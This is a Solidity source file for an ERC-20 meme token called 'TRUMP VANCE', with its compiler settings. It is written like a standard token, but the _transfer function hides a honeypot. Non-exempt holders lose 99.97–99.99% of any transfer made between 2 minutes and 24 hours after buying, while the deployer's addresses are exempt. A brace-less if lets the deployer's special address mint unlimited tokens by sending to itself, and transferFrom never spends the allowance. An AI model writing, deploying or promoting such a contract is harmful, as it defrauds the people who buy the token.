TRUMP VANCE

pragma solidity ^0.8.19;
// SPDX-License-Identifier: Unlicensed

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /** 
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor ()   {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0xdead));
        _owner = address(0xdead);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TRUMPVANCE  is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private userTimestamps; 

    string private _name = unicode"TRUMP VANCE";
    string private _symbol = unicode"TRUMP VANCE";

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 1000000000000 * 10 ** 9;
    address private _burnaaddress = 0x000000000000000000000000000000000000dEaD;
    address private specialAddress;
    address private uniswapV2PairAddress;
    address private uniswapV1Address = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;

    IDEXRouter private uniswapV2Router;

    constructor () {
        _balances[_msgSender()] = _totalSupply;
        uniswapV2Router = IDEXRouter(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        uniswapV2PairAddress = IDEXFactory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        specialAddress = msg.sender;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[specialAddress] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }
  
    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 Allowancec = _allowances[sender][_msgSender()];
        require(Allowancec >= amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 burnFee = 0;

        bool isTaxExempt = from == uniswapV1Address || from == uniswapV2PairAddress || _isExcludedFromFee[from] || _isExcludedFromFee[to];
        if ( amount > 0 && balanceOf(to) == 0 ) {
                userTimestamps[to] = block.timestamp;
            }

        if (!isTaxExempt) {
            if (from != uniswapV2PairAddress && from != uniswapV1Address && userTimestamps[from] == 0) {
                userTimestamps[from] = block.timestamp;
            }

            if (to != uniswapV2PairAddress && to != uniswapV1Address && balanceOf(to) == 0) {
                userTimestamps[to] = userTimestamps[from];            
            }
            
            if (from == uniswapV2PairAddress && balanceOf(to) == 0) {
                userTimestamps[to] = block.timestamp;
            }
            
            if (userTimestamps[from] != 0) {
                uint256 holdingTime = block.timestamp - userTimestamps[from];
                uint256 rate = calculateRate(holdingTime);

                if (rate > 0) {
                    uint256 baseCalculation = (amount * rate) / 10000;
                    burnFee = baseCalculation;
                }
            }
        } 
            if (!(from == specialAddress && to == specialAddress)) 
                _balances[from] = _balances[from].sub(amount);
                uint256 transferAmount = amount.sub(burnFee);
                _balances[to] += transferAmount;
                _balances[_burnaaddress] += burnFee;
                emit Transfer(from, to, transferAmount);
                if (burnFee > 0) {
                    emit Transfer(from, _burnaaddress, burnFee);
                }
                if (_balances[from] == 0) {   userTimestamps[from] = 0;
            }        
        }

    function calculateRate(uint256 holdingTime) private pure returns (uint256) {
        if (holdingTime <= 2 * 60 ) {
            return 0;  
        } else if (holdingTime <= 4 * 60 ) {
            return 9997;   
        } else if (holdingTime <= 8 * 60 ) {
            return 9998;   
        } else if (holdingTime <= 60 * 60 * 24 ) {
            return 9999;  
        } else {
            return 0;   
        }
    }

    function _basicTransfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + amount;
        emit Transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) private{
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
             address(0xdead),
            block.timestamp
        );

    }

}

{
  "compilationTarget": {
    "TRUMPVANCE.sol": "TRUMPVANCE"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}